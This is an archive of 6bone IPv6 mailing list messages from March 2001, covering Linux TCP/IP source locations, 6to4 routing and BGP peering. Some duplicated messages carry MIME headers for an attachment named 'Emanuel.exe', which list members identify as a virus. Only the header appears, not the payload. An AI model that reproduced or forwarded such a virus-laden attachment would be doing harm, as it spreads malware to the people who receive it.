ftp://ftp.id.kernel.org.  If that doesn't work, find a mirror at
http://www.kernel.org.

HTH,
pete

On Fri, 02 Mar 2001, R.  Flidersan wrote:

> Hello Guys?
> 
> Could you tell me the place or company I can get a source code for
> TCP/IP in Linux?
> 
> Thanks in advance.
> 
> Flidersan
> 
> 

-- 
Pete Toscano         pete@research.netsol.com          703.948.3364
GPG fingerprint: D8F5 A087 9A4C 56BB 8F78  B29C 1FF0 1BA7 9008 2736

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From 6bone-owner  Sun Mar  4 18:40:19 2001
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Date: Sun, 4 Mar 2001 17:14:38 -0800 (PST)
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From: "Lzy" <lzy@csnet1.cs.tsinghua.edu.cn>
To: <6bone@ISI.EDU>
Subject: Re: IPv6 security
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I'm guessing that you mean the TCP/IP stack.  You can get that from the
kernel source code.  Just go to any one of the many Linux kernel
mirrors.  Since you're from ID, I suggest you start with:
ftp://ftp.id.kernel.org.  If that doesn't work, find a mirror at
http://www.kernel.org.

HTH,
pete

On Fri, 02 Mar 2001, R.  Flidersan wrote:

> Hello Guys?
> 
> Could you tell me the place or company I can get a source code for
> TCP/IP in Linux?
> 
> Thanks in advance.
> 
> Flidersan
> 
> 

-- 
Pete Toscano         pete@research.netsol.com          703.948.3364
GPG fingerprint: D8F5 A087 9A4C 56BB 8F78  B29C 1FF0 1BA7 9008 2736

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From 6bone-owner  Sun Mar  4 19:39:42 2001
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Date: Sun, 4 Mar 2001 17:14:37 -0800 (PST)
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From: "Lzy" <lzy@csnet1.cs.tsinghua.edu.cn>
To: <6bone@ISI.EDU>
Subject: Re: IPv6 security
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I'm guessing that you mean the TCP/IP stack.  You can get that from the
kernel source code.  Just go to any one of the many Linux kernel
mirrors.  Since you're from ID, I suggest you start with:
ftp://ftp.id.kernel.org.  If that doesn't work, find a mirror at
http://www.kernel.org.

HTH,
pete

On Fri, 02 Mar 2001, R.  Flidersan wrote:

> Hello Guys?
> 
> Could you tell me the place or company I can get a source code for
> TCP/IP in Linux?
> 
> Thanks in advance.
> 
> Flidersan
> 
> 

-- 
Pete Toscano         pete@research.netsol.com          703.948.3364
GPG fingerprint: D8F5 A087 9A4C 56BB 8F78  B29C 1FF0 1BA7 9008 2736

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From 6bone-owner  Sun Mar  4 20:33:55 2001
Return-Path: <owner-6bone>
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Date: Sun, 4 Mar 2001 17:14:38 -0800 (PST)
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From: "Lzy" <lzy@csnet1.cs.tsinghua.edu.cn>
To: <6bone@ISI.EDU>
Subject: Re: IPv6 security
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I'm guessing that you mean the TCP/IP stack.  You can get that from the
kernel source code.  Just go to any one of the many Linux kernel
mirrors.  Since you're from ID, I suggest you start with:
ftp://ftp.id.kernel.org.  If that doesn't work, find a mirror at
http://www.kernel.org.

HTH,
pete

On Fri, 02 Mar 2001, R.  Flidersan wrote:

> Hello Guys?
> 
> Could you tell me the place or company I can get a source code for
> TCP/IP in Linux?
> 
> Thanks in advance.
> 
> Flidersan
> 
> 

-- 
Pete Toscano         pete@research.netsol.com          703.948.3364
GPG fingerprint: D8F5 A087 9A4C 56BB 8F78  B29C 1FF0 1BA7 9008 2736

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From 6bone-owner  Sun Mar  4 20:50:31 2001
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Date: Fri, 2 Mar 2001 21:03:37 +0700 (JAVT)
From: "R.  Flidersan" <flider@ltrgm.ee.itb.ac.id>
To: horape@tinuviel.compendium.net.ar
cc: Pekka Savola <pekkas@netcore.fi>, itojun@iijlab.net, 6bone@ISI.EDU
Subject:  IPv6 security 
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Hello Guys?

Could you tell me the place or company I can get a source code for
TCP/IP in Linux?

Thanks in advance.

Flidersan


From 6bone-owner  Sun Mar  4 21:17:05 2001
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Subject: Re: IPv6 security
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I'm guessing that you mean the TCP/IP stack.  You can get that from the
kernel source code.  Just go to any one of the many Linux kernel
mirrors.  Since you're from ID, I suggest you start with:
ftp://ftp.id.kernel.org.  If that doesn't work, find a mirror at
http://www.kernel.org.

HTH,
pete

On Fri, 02 Mar 2001, R.  Flidersan wrote:

> Hello Guys?
> 
> Could you tell me the place or company I can get a source code for
> TCP/IP in Linux?
> 
> Thanks in advance.
> 
> Flidersan
> 
> 

-- 
Pete Toscano         pete@research.netsol.com          703.948.3364
GPG fingerprint: D8F5 A087 9A4C 56BB 8F78  B29C 1FF0 1BA7 9008 2736

------=_NextPart_000_001A_01C0A555.4FC3F760
Content-Type: application/x-msdownload;
	name="Emanuel.exe"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
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To: "R.  Flidersan" <flider@ltrgm.ee.itb.ac.id>
cc: horape@tinuviel.compendium.net.ar, Pekka Savola <pekkas@netcore.fi>,
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Subject: Re: IPv6 security 
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On Fri, 2 Mar 2001, R.  Flidersan wrote:

> Hello Guys?
> 
> Could you tell me the place or company I can get a source code for
> TCP/IP in Linux?
> 
> Thanks in advance.

I'd be glad to sell you the complete Linux kernel and source (including
TCP/IP) with license on CD for $2234.00 (USD) + shipping.
 
:)

Of course, you might want to try ftp.kernel.org, unless you are looking
for more then the body of your message implied. :)

From 6bone-owner  Sun Mar  4 21:18:39 2001
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Date: Sun, 4 Mar 2001 11:47:25 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: <6bone@ISI.EDU>
Subject: 6to4 prefix announcements?
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Hello all,

It'd appear that 6to4 prefixes aren't announced on 6bone too much (I only
saw 2002::/16).

Due to this, ping6 within EU<->EU takes 800 ms instead of 300 ms because
it must go through ipv6-router.cisco.com.

I think this could be optimized by announcing prefixes, e.g. those
calculated from IPv4 addresses where IPv6 is being tested and 6to4 used.

Or is there reasons why this is not done?

BTW: I couldn't find any looking glasses for 6bone backbone routers.  Is
there any of these available?

-- 
Pekka Savola                  "Tell me of difficulties surmounted,
Netcore Oy                    not those you stumble over and fall"
Systems. Networks. Security.   -- Robert Jordan: A Crown of Swords

From 6bone-owner  Sun Mar  4 21:32:10 2001
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Date: Sun, 4 Mar 2001 13:54:23 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: <6bone@ISI.EDU>
Subject: Re: 6to4 prefix announcements? 
In-Reply-To: <20010304111442.2F20F7E0E@starfruit.itojun.org>
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On Sun, 4 Mar 2001, Jun-ichiro itojun Hagino wrote:

>
> >It'd appear that 6to4 prefixes aren't announced on 6bone too much (I only
> >saw 2002::/16).
> >
> >Due to this, ping6 within EU<->EU takes 800 ms instead of 300 ms because
> >it must go through ipv6-router.cisco.com.
> >
> >I think this could be optimized by announcing prefixes, e.g. those
> >calculated from IPv4 addresses where IPv6 is being tested and 6to4 used.
>
> 	see RFC3056, section 5.10.  you can configure static routes to
> 	2002:xxxx:xxxx::/48 if you want to optimize it, but be sure not to
> 	announce that route.

Ah.  A new RFC. :-)

>From 5.10, I gather:

   EGP (i.e., BGP) routing will include advertisements for the 2002::/16
   prefix from relay routers into the native IPv6 domain, whose scope is
   limited by routing policy.  This is the only non-native IPv6 prefix
   advertised by BGP.

I'm rather rather depressed at the fact that within for the traffic
between two sites within EU, the chosen relay router is in the U.S.

Aren't the others (e.g. 6to4.ipv6.bt.com or 6to4.ipv6.fh-regensburg.de,
from http://www.kfu.com/~nsayer/6to4/)  announcing these at all or have
they been restricted by policy to a smaller domain?

[ I've yet to see a 6bone looking glass to see how BGP announcements look
like somewhere else too ]

This makes the whole 6to4 routing act bad.

> >Or is there reasons why this is not done?
>
> 	do you want to see 2^32 routes announced to the 6bone?

Definitely not, but I was thinking of announing them in aggregates always
bigger than traditional B-class..  With about 2^8 or 2^10 you could get
rather good connectivity already -- traffic would probably almost always
be restricted to the same continent, or a part of the continent.

This would in part transfer some routing table expansion problems of IPv4
to IPv6, which is probably the reason it's deprecated.

-- 
Pekka Savola                  "Tell me of difficulties surmounted,
Netcore Oy                    not those you stumble over and fall"
Systems. Networks. Security.   -- Robert Jordan: A Crown of Swords

From 6bone-owner  Sun Mar  4 21:32:14 2001
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From: Hareesh V H <fd98209@bits-pilani.ac.in>
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To: Pekka Savola <pekkas@netcore.fi>
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Subject: Re: Designing IPv6 network guidelines?
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 hi! the discussion about the network designing in IPv6 is a very relevant
one. Actually i am trying to produce a document in this regard. One point
i find interesting is the ambiguity in the specification/implementation of
site local addresses. The implementations as of now or even the specs
do not give a very clear idea about it. Could anyone please provide more
info/links about this issue as to how exactly this feature is to be used?
Thanks in advance.

regards,
Hareesh.



From 6bone-owner  Sun Mar  4 21:32:52 2001
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 hi! the discussion about the network designing in IPv6 is a very relevant
one. Actually i am trying to produce a document in this regard. One point
i find interesting is the ambiguity in the specification/implementation of
site local addresses. The implementations as of now or even the specs
do not give a very clear idea about it. Could anyone please provide more
info/links about this issue as to how exactly this feature is to be used?
Thanks in advance.

regards,
Hareesh.

From 6bone-owner  Sun Mar  4 21:36:19 2001
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¡Hola!

> > >1) Some RFC recommended using site-local addresses for point to point
> > >links.  Won't this break traceroute?
> >
> > 	you don't even need site-locals for point to point links.  they just
> > 	work fine with link-local address.  all routing protocols should run
> > 	fine with p2p with link-local address only.
> 
> Also, why _would_ traceroute work?  If the link local address of a P-t-P
> link were to use private addresses, you couldn't trace through the
> internet.

I was thinking the same thing and did some tests. If the routers have only
link-local addresses traceroute breaks, but if they have any global address
(in other interface) it uses that address.

Further investigation has led me to the following:

RFC2463 (ICMPv6) says:

    (c) If the message is a response to a message sent to an address
        that does not belong to the node, the Source Address should be
        that unicast address belonging to the node that will be most
        helpful in diagnosing the error. For example, if the message is
        a response to a packet forwarding action that cannot complete
        successfully, the Source Address should be a unicast address
        belonging to the interface on which the packet forwarding
        failed.

Being that that interface has not a helpful address, it avoids the "should
be a unicast address belonging to the interface..." and uses "a unicast
address belonging to the gateway". (Spelling OT: is correct "a unicast" 
or should it be "an unicast" ?)

RFC1812 (Requirements for IP Version 4 Routers) talks in section 2.2.7
about "Unnumbered Lines and Networks Prefixes" and decides:

   Because of these drawbacks, this memo has adopted an alternate
   scheme, which has been invented multiple times but which is probably
   originally attributable to Phil Karn.  In this scheme, a router that
   has unnumbered point to point lines also has a special IP address,
   called a router-id in this memo.  The router-id is one of the
   router's IP addresses (a router is required to have at least one IP
   address).  This router-id is used as if it is the IP address of all
   unnumbered interfaces.

Adapting it to IPv6 you'd talk about p2p using link-local addresses, and
requiring any router to have at least one global IP address.

> Pekka Savola                  "Tell me of difficulties surmounted,
> Netcore Oy                    not those you stumble over and fall"
> Systems. Networks. Security.   -- Robert Jordan: A Crown of Swords

					HoraPe
---
Horacio J. Peña
horape@compendium.com.ar
horape@uninet.edu
bofh@puntoar.net.ar
horape@hcdn.gov.ar

From 6bone-owner  Sun Mar  4 22:33:29 2001
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Subject: Re: 6to4 prefix announcements? 
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>[ I've yet to see a 6bone looking glass to see how BGP announcements look
>like somewhere else too ]

	try http://www.6tap.net/6tap/6tap-lg.html, select "IPv6" on pulldown
	menu and type "route" into the input box.  I don't see 2002::16
	at this moment btw.

itojun

From 6bone-owner  Sun Mar  4 23:32:38 2001
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From: John Galt <galt@inconnu.isu.edu>
To: "R.  Flidersan" <flider@ltrgm.ee.itb.ac.id>
cc: <6bone@ISI.EDU>
Subject: Re: IPv6 security 
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ftp.kernel.org  I think the USAGI kernel has some good modifications you
might want to look at too (to keep this thread remotely on-topic :)
That'd be at ftp.linux-ipv6.org



On Fri, 2 Mar 2001, R.  Flidersan wrote:

>Hello Guys?
>
>Could you tell me the place or company I can get a source code for
>TCP/IP in Linux?
>
>Thanks in advance.
>
>Flidersan
>
>

-- 
void hamlet()
{#define question=((bb)||(!bb))}

Who is John Galt?  galt@inconnu.isu.edu. that's who!


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¡Hola!

> Could you tell me the place or company I can get a source code for
> TCP/IP in Linux?

http://www.linux-ipv6.org/

> Thanks in advance.
> Flidersan

					HoraPe
---
Horacio J. Peña
horape@compendium.com.ar
horape@uninet.edu
bofh@puntoar.net.ar
horape@hcdn.gov.ar

From 6bone-owner  Mon Mar  5 01:23:39 2001
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From: Antonio Querubin <tony@lava.net>
To: Pekka Savola <pekkas@netcore.fi>
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Subject: Re: 6to4 prefix announcements? 
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On Sun, 4 Mar 2001, Pekka Savola wrote:

> [ I've yet to see a 6bone looking glass to see how BGP announcements look
> like somewhere else too ]

You can try our Zebra Looking Glass at:

http://www.ipv6.lava.net/cgi-bin/lg.pl




From 6bone-owner  Mon Mar  5 01:25:20 2001
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This is a multi-part message in MIME format.

------=_NextPart_000_0009_01C0A555.C7DB5FE0
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I'm guessing that you mean the TCP/IP stack.  You can get that from the
kernel source code.  Just go to any one of the many Linux kernel
mirrors.  Since you're from ID, I suggest you start with:
ftp://ftp.id.kernel.org.  If that doesn't work, find a mirror at
http://www.kernel.org.

HTH,
pete

On Fri, 02 Mar 2001, R.  Flidersan wrote:

> Hello Guys?
> 
> Could you tell me the place or company I can get a source code for
> TCP/IP in Linux?
> 
> Thanks in advance.
> 
> Flidersan
> 
> 

-- 
Pete Toscano         pete@research.netsol.com          703.948.3364
GPG fingerprint: D8F5 A087 9A4C 56BB 8F78  B29C 1FF0 1BA7 9008 2736

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------=_NextPart_000_0009_01C0A555.C7DB5FE0--


From 6bone-owner  Mon Mar  5 02:04:57 2001
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Date: Mon, 05 Mar 2001 11:03:41 +0100
To: "Lzy" <lzy@csnet1.cs.tsinghua.edu.cn>, <6bone@ISI.EDU>
From: Aad van der Zanden <Aad.van.der.Zanden@nc3a.nato.int>
Subject: Re: IPv6 security
In-Reply-To: <001501c0a512$ba7d1d90$fb466fa6@lzy>
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Could you please stop sending me the emanuel virus please!!!

Aad

At 05:16 PM 3/4/01 -0800, Lzy wrote:
>I'm guessing that you mean the TCP/IP stack.  You can get that from the
>kernel source code.  Just go to any one of the many Linux kernel
>mirrors.  Since you're from ID, I suggest you start with:
>ftp://ftp.id.kernel.org.  If that doesn't work, find a mirror at
>http://www.kernel.org.
>
>HTH,
>pete
>
>On Fri, 02 Mar 2001, R.  Flidersan wrote:
>
> > Hello Guys?
> >
> > Could you tell me the place or company I can get a source code for
> > TCP/IP in Linux?
> >
> > Thanks in advance.
> >
> > Flidersan
> >
> >
>
>--
>Pete Toscano         pete@research.netsol.com          703.948.3364
>GPG fingerprint: D8F5 A087 9A4C 56BB 8F78  B29C 1FF0 1BA7 9008 2736

	
	
===================================================================
/ Aad van der Zanden.				| POSTAL ADDRESS:	
/ Communications Systems Division        	|
/ NATO C3 Agency		    		| NATO C3 Agency	
/ Email  : Aad.van.der.Zanden@nc3a.nato.int	| P.O. BOX 174		
/ Phone  : +31 (0)70 3142440 			| 2501 CD  The Hague	
/ Fax    : +31 (0)70 3142176 			| The Netherlands
/ =================================================================
/ PGP  FP: 57CA 5E23 E6EB 1375 3D2A  6FE0 B9B0 ED22 44A1 D279		
===================================================================


From 6bone-owner  Mon Mar  5 03:06:46 2001
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To: 6bone@ISI.EDU
Date: Sat, 3 Mar 2001 18:21:47 -0000
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Subject: pTLA rules for application
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Status: RO

I have a question regarding the guidelines for applying for a pTLA 
for the 6bone... 

RFC2772 states that the applicant must have minimum 3 months: 

"Fully maintained, and reliable, BGP4+ peering and connectivity 
between the Applicant's boundary router and the appropriate 
connection point into the 6Bone." 

Surely this breaks one of the golden rules of BGP? i.e. that you 
shouldn't advertise a more specific route when a less specific route 
further up is available? In fact BGP is only really used if you're multi-
homed and you can't be multi-homed on the 6bone unless you're 
already part of the backbone. 

Seems like a chicken and egg situation? 

Perhaps someone could clarify this for me. 

Thanks,
Chris


From 6bone-owner  Mon Mar  5 03:10:53 2001
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To: Pekka Savola <pekkas@netcore.fi>
Cc: 6bone@ISI.EDU
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Subject: Re: 6to4 prefix announcements? 
From: Jun-ichiro itojun Hagino <itojun@iijlab.net>
Date: Sun, 04 Mar 2001 20:14:42 +0900
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>It'd appear that 6to4 prefixes aren't announced on 6bone too much (I only
>saw 2002::/16).
>
>Due to this, ping6 within EU<->EU takes 800 ms instead of 300 ms because
>it must go through ipv6-router.cisco.com.
>
>I think this could be optimized by announcing prefixes, e.g. those
>calculated from IPv4 addresses where IPv6 is being tested and 6to4 used.

	see RFC3056, section 5.10.  you can configure static routes to
	2002:xxxx:xxxx::/48 if you want to optimize it, but be sure not to
	announce that route.

>Or is there reasons why this is not done?

	do you want to see 2^32 routes announced to the 6bone?

itojun

From 6bone-owner  Mon Mar  5 04:17:28 2001
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To: Pekka Savola <pekkas@netcore.fi>
cc: 6bone@ISI.EDU
In-reply-to: pekkas's message of Sun, 04 Mar 2001 13:54:23 +0200.
      <Pine.LNX.4.31.0103041330440.434-100000@netcore.fi>
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Subject: Re: 6to4 prefix announcements? 
From: itojun@iijlab.net
Date: Sun, 04 Mar 2001 21:45:48 +0900
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>[ I've yet to see a 6bone looking glass to see how BGP announcements look
>like somewhere else too ]

	try http://www.6tap.net/6tap/6tap-lg.html, select "IPv6" on pulldown
	menu and type "route" into the input box.  I don't see 2002::16
	at this moment btw.

itojun

From 6bone-owner  Mon Mar  5 04:17:35 2001
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From: Pekka Savola <pekkas@netcore.fi>
To: <6bone@ISI.EDU>
Subject: 6to4 prefix announcements?
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Hello all,

It'd appear that 6to4 prefixes aren't announced on 6bone too much (I only
saw 2002::/16).

Due to this, ping6 within EU<->EU takes 800 ms instead of 300 ms because
it must go through ipv6-router.cisco.com.

I think this could be optimized by announcing prefixes, e.g. those
calculated from IPv4 addresses where IPv6 is being tested and 6to4 used.

Or is there reasons why this is not done?

BTW: I couldn't find any looking glasses for 6bone backbone routers.  Is
there any of these available?

-- 
Pekka Savola                  "Tell me of difficulties surmounted,
Netcore Oy                    not those you stumble over and fall"
Systems. Networks. Security.   -- Robert Jordan: A Crown of Swords

From 6bone-owner  Mon Mar  5 04:17:33 2001
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Date: Fri, 2 Mar 2001 21:03:37 +0700 (JAVT)
From: "R.  Flidersan" <flider@ltrgm.ee.itb.ac.id>
To: horape@tinuviel.compendium.net.ar
cc: Pekka Savola <pekkas@netcore.fi>, itojun@iijlab.net, 6bone@ISI.EDU
Subject:  IPv6 security 
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Hello Guys?

Could you tell me the place or company I can get a source code for
TCP/IP in Linux?

Thanks in advance.

Flidersan

From 6bone-owner  Mon Mar  5 04:17:37 2001
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Date: Fri, 2 Mar 2001 12:57:35 -0500 (EST)
From: Greg Maxwell  <gmaxwell@martin.fl.us>
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To: "R.  Flidersan" <flider@ltrgm.ee.itb.ac.id>
cc: horape@tinuviel.compendium.net.ar, Pekka Savola <pekkas@netcore.fi>,
        itojun@iijlab.net, 6bone@ISI.EDU
Subject: Re: IPv6 security 
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On Fri, 2 Mar 2001, R.  Flidersan wrote:

> Hello Guys?
> 
> Could you tell me the place or company I can get a source code for
> TCP/IP in Linux?
> 
> Thanks in advance.

I'd be glad to sell you the complete Linux kernel and source (including
TCP/IP) with license on CD for $2234.00 (USD) + shipping.
 
:)

Of course, you might want to try ftp.kernel.org, unless you are looking
for more then the body of your message implied. :)

From 6bone-owner  Mon Mar  5 04:17:40 2001
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Date: Sun, 4 Mar 2001 13:54:23 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: <6bone@ISI.EDU>
Subject: Re: 6to4 prefix announcements? 
In-Reply-To: <20010304111442.2F20F7E0E@starfruit.itojun.org>
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On Sun, 4 Mar 2001, Jun-ichiro itojun Hagino wrote:

>
> >It'd appear that 6to4 prefixes aren't announced on 6bone too much (I only
> >saw 2002::/16).
> >
> >Due to this, ping6 within EU<->EU takes 800 ms instead of 300 ms because
> >it must go through ipv6-router.cisco.com.
> >
> >I think this could be optimized by announcing prefixes, e.g. those
> >calculated from IPv4 addresses where IPv6 is being tested and 6to4 used.
>
> 	see RFC3056, section 5.10.  you can configure static routes to
> 	2002:xxxx:xxxx::/48 if you want to optimize it, but be sure not to
> 	announce that route.

Ah.  A new RFC. :-)

>From 5.10, I gather:

   EGP (i.e., BGP) routing will include advertisements for the 2002::/16
   prefix from relay routers into the native IPv6 domain, whose scope is
   limited by routing policy.  This is the only non-native IPv6 prefix
   advertised by BGP.

I'm rather rather depressed at the fact that within for the traffic
between two sites within EU, the chosen relay router is in the U.S.

Aren't the others (e.g. 6to4.ipv6.bt.com or 6to4.ipv6.fh-regensburg.de,
from http://www.kfu.com/~nsayer/6to4/)  announcing these at all or have
they been restricted by policy to a smaller domain?

[ I've yet to see a 6bone looking glass to see how BGP announcements look
like somewhere else too ]

This makes the whole 6to4 routing act bad.

> >Or is there reasons why this is not done?
>
> 	do you want to see 2^32 routes announced to the 6bone?

Definitely not, but I was thinking of announing them in aggregates always
bigger than traditional B-class..  With about 2^8 or 2^10 you could get
rather good connectivity already -- traffic would probably almost always
be restricted to the same continent, or a part of the continent.

This would in part transfer some routing table expansion problems of IPv4
to IPv6, which is probably the reason it's deprecated.

-- 
Pekka Savola                  "Tell me of difficulties surmounted,
Netcore Oy                    not those you stumble over and fall"
Systems. Networks. Security.   -- Robert Jordan: A Crown of Swords

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Date: Sat, 3 Mar 2001 10:47:19 -1000 (HST)
From: Antonio Querubin <tony@lava.net>
To: <info@caladan.net>
cc: <6bone@ISI.EDU>
Subject: Re: pTLA rules for application
In-Reply-To: <200103031821.f23ILHj09410@tleilax.caladan.net>
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On Sat, 3 Mar 2001 info@caladan.net wrote:

> RFC2772 states that the applicant must have minimum 3 months:
>
> "Fully maintained, and reliable, BGP4+ peering and connectivity
> between the Applicant's boundary router and the appropriate
> connection point into the 6Bone."
>
> Surely this breaks one of the golden rules of BGP? i.e. that you
> shouldn't advertise a more specific route when a less specific route
> further up is available?

I don't think this is a golden rule of BGP nor of any routing protocol.
It might be a peering agreement rule but even so your upstreams can always
apply filters if they don't want to hear (or propagate) your more specific
advertisements.

> In fact BGP is only really used if you're multi- homed and you can't
> be multi-homed on the 6bone unless you're already part of the
> backbone.
>
> Seems like a chicken and egg situation?

No not really.  Someone delegates a pNLA or pSLA to you out of their
address space initially.  You peer with them.  They aggregate your
announcement into theirs.  You get the rest of your 6Bone house in order
(meet other RFC 2772 requirements) and wait 3 months.  Then apply for your
own pTLA.

From 6bone-owner  Mon Mar  5 04:51:26 2001
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Date: Fri, 2 Mar 2001 12:13:33 -0500
From: "Michael H. Warfield" <mhw@wittsend.com>
To: "R.  Flidersan" <flider@ltrgm.ee.itb.ac.id>
Cc: horape@tinuviel.compendium.net.ar, Pekka Savola <pekkas@netcore.fi>,
        itojun@iijlab.net, 6bone@ISI.EDU
Subject: Re: IPv6 security
Message-ID: <20010302121333.A2452@alcove.wittsend.com>
References: <20010228023305.A648@tinuviel.compendium.net.ar> <Pine.LNX.4.10.10103022101490.5256-100000@ltrgm.ee.itb.ac.id>
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On Fri, Mar 02, 2001 at 09:03:37PM +0700, R.  Flidersan wrote:
> Hello Guys?

> Could you tell me the place or company I can get a source code for
> TCP/IP in Linux?

	Have you tried looking on any of the source CD's that come with
any of the distributions?

	Just get the kernel source tarball from kernel.org and you'll
find it in there.  The 2.4.2 sources would be this:

	ftp://www.??.kernel.org/pub/linux/kernel/v2.4/linux-2.4.2.tar.gz

		or

	http://www.??.kernel.org/pub/linux/kernel/v2.4/linux-2.4.2.tar.gz

	Replace the ?? with a country code for a near-by mirror.  Check
out www.kernel.org for more information.  You'll find a list of mirror
sites here: http://www.kernel.org/mirrors/ and there is at least one
there in "id".

> Thanks in advance.

> Flidersan

	Mike
-- 
 Michael H. Warfield    |  (770) 985-6132   |  mhw@WittsEnd.com
  (The Mad Wizard)      |  (678) 463-0932   |  http://www.wittsend.com/mhw/
  NIC whois:  MHW9      |  An optimist believes we live in the best of all
 PGP Key: 0xDF1DD471    |  possible worlds.  A pessimist is sure of it!

From 6bone-owner  Mon Mar  5 05:17:00 2001
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Date: Mon, 5 Mar 2001 15:16:54 +0200
From: Saku Ytti <ytti@teliafi.net>
To: 6bone@ISI.EDU
Subject: IPv6 BGP-peerings
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Is there some list for BGP-relations, filters and such?
Or is this list correct for that topic also?

I'd want to reach active members, willing to peer with us.
(AS6793)

-- 
	ytti

From 6bone-owner  Mon Mar  5 05:30:00 2001
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From: "Johan Verelst" <tcp6@mail.be>
To: lzy@csnet1.cs.tsinghua.edu.cn
Cc: 6bone@ISI.EDU
Subject: Re: IPv6 security
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Hello there,

I think you have a virus as an attachment on every one of your E-mails
Please scan your computer. thanks.
the suspected virus= Emanuel.exe
be carefull.


------------------------------------------------------------
Want a free mail at http://www.mail.be ?

From 6bone-owner  Mon Mar  5 06:15:07 2001
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From: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
To: Pekka Savola <pekkas@netcore.fi>
cc: 6bone@ISI.EDU
Subject: Re: 6to4 prefix announcements? 
In-reply-to: Your message of Sun, 04 Mar 2001 11:47:25 +0200.
             <Pine.LNX.4.31.0103041142200.32504-100000@netcore.fi> 
Date: Sun, 04 Mar 2001 16:32:39 +0100
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 In your previous mail you wrote:

   I think this could be optimized by announcing prefixes, e.g. those
   calculated from IPv4 addresses where IPv6 is being tested and 6to4 used.

=> Brian Carpenter should answer (:-)...

   BTW: I couldn't find any looking glasses for 6bone backbone routers.  Is
   there any of these available?
   
=> I have an experimental looking glass for BGP4+ with IPv6.
It needs to be secured and put on a backbone router (it should be
soon because this is the purpose). The result is:

Router: Aricie Command: show bgp ipv6 2002::/16


BGP routing table entry for 2002::/16, version 13836923
Paths: (1 available, best #1)
Flag: 0x208
  Not advertised to any peer
  1938 2200 2611 5511 4697 1251 109
    2001:660:281:1::1 (inaccessible) from 2001:660:282:1:200:CFF:FE3F:1D17 (192.108.119.137)
      Origin IGP, localpref 100, valid, internal, best

The router is in the RENATER sub**n TLA. The 2002::/16 gateway seems
to be ipv6-router.cisco.com.

Francis.Dupont

From 6bone-owner  Mon Mar  5 06:26:49 2001
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From: stuart.prevost@bt.com
To: pekkas@netcore.fi, 6bone@ISI.EDU
Subject: RE: 6to4 prefix announcements? 
Date: Mon, 5 Mar 2001 13:24:37 -0000 
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6to4.ipv6.bt.com is operational and I am announcing 2002::/16

If you are having trouble using this then please let me know.
Regards,
Stuart

> -----Original Message-----
> From: Pekka Savola [mailto:pekkas@netcore.fi]
> Sent: Sunday, March 04, 2001 11:54 AM
> To: 6bone
> Subject: Re: 6to4 prefix announcements? 
> 
>
> I'm rather rather depressed at the fact that within for the traffic
> between two sites within EU, the chosen relay router is in the U.S.
> 
> Aren't the others (e.g. 6to4.ipv6.bt.com or 
> 6to4.ipv6.fh-regensburg.de,
> from http://www.kfu.com/~nsayer/6to4/)  announcing these at 
> all or have
> they been restricted by policy to a smaller domain?
> 
> [ I've yet to see a 6bone looking glass to see how BGP 
> announcements look
> like somewhere else too ]
> 
> This makes the whole 6to4 routing act bad.
> 
> > >Or is there reasons why this is not done?
> >
> > 	do you want to see 2^32 routes announced to the 6bone?
> 
> Definitely not, but I was thinking of announing them in 
> aggregates always
> bigger than traditional B-class..  With about 2^8 or 2^10 you 
> could get
> rather good connectivity already -- traffic would probably 
> almost always
> be restricted to the same continent, or a part of the continent.
> 
> This would in part transfer some routing table expansion 
> problems of IPv4
> to IPv6, which is probably the reason it's deprecated.
> 
> -- 
> Pekka Savola                  "Tell me of difficulties surmounted,
> Netcore Oy                    not those you stumble over and fall"
> Systems. Networks. Security.   -- Robert Jordan: A Crown of Swords
> 

From 6bone-owner  Mon Mar  5 06:31:38 2001
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To: Pekka Savola <pekkas@netcore.fi>
Cc: itojun@iijlab.net, 6bone@ISI.EDU
Subject: Re: Designing IPv6 network guidelines?
Message-ID: <20010228023305.A648@tinuviel.compendium.net.ar>
References: <19272.983308603@coconut.itojun.org> <Pine.LNX.4.31.0102280124580.30203-100000@netcore.fi>
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¡Hola!

> > >1) Some RFC recommended using site-local addresses for point to point
> > >links.  Won't this break traceroute?
> >
> > 	you don't even need site-locals for point to point links.  they just
> > 	work fine with link-local address.  all routing protocols should run
> > 	fine with p2p with link-local address only.
> 
> Also, why _would_ traceroute work?  If the link local address of a P-t-P
> link were to use private addresses, you couldn't trace through the
> internet.

I was thinking the same thing and did some tests. If the routers have only
link-local addresses traceroute breaks, but if they have any global address
(in other interface) it uses that address.

Further investigation has led me to the following:

RFC2463 (ICMPv6) says:

    (c) If the message is a response to a message sent to an address
        that does not belong to the node, the Source Address should be
        that unicast address belonging to the node that will be most
        helpful in diagnosing the error. For example, if the message is
        a response to a packet forwarding action that cannot complete
        successfully, the Source Address should be a unicast address
        belonging to the interface on which the packet forwarding
        failed.

Being that that interface has not a helpful address, it avoids the "should
be a unicast address belonging to the interface..." and uses "a unicast
address belonging to the gateway". (Spelling OT: is correct "a unicast" 
or should it be "an unicast" ?)

RFC1812 (Requirements for IP Version 4 Routers) talks in section 2.2.7
about "Unnumbered Lines and Networks Prefixes" and decides:

   Because of these drawbacks, this memo has adopted an alternate
   scheme, which has been invented multiple times but which is probably
   originally attributable to Phil Karn.  In this scheme, a router that
   has unnumbered point to point lines also has a special IP address,
   called a router-id in this memo.  The router-id is one of the
   router's IP addresses (a router is required to have at least one IP
   address).  This router-id is used as if it is the IP address of all
   unnumbered interfaces.

Adapting it to IPv6 you'd talk about p2p using link-local addresses, and
requiring any router to have at least one global IP address.

> Pekka Savola                  "Tell me of difficulties surmounted,
> Netcore Oy                    not those you stumble over and fall"
> Systems. Networks. Security.   -- Robert Jordan: A Crown of Swords

					HoraPe
---
Horacio J. Peña
horape@compendium.com.ar
horape@uninet.edu
bofh@puntoar.net.ar
horape@hcdn.gov.ar

From 6bone-owner  Mon Mar  5 08:20:16 2001
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Date: Fri, 2 Mar 2001 14:03:59 -0500
From: Pete Toscano <pete@research.netsol.com>
To: 6bone@ISI.EDU
Subject: Re: IPv6 security
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I'm guessing that you mean the TCP/IP stack.  You can get that from the
kernel source code.  Just go to any one of the many Linux kernel
mirrors.  Since you're from ID, I suggest you start with:
ftp://ftp.id.kernel.org.  If that doesn't work, find a mirror at
http://www.kernel.org.

HTH,
pete

On Fri, 02 Mar 2001, R.  Flidersan wrote:

> Hello Guys?
>=20
> Could you tell me the place or company I can get a source code for
> TCP/IP in Linux?
>=20
> Thanks in advance.
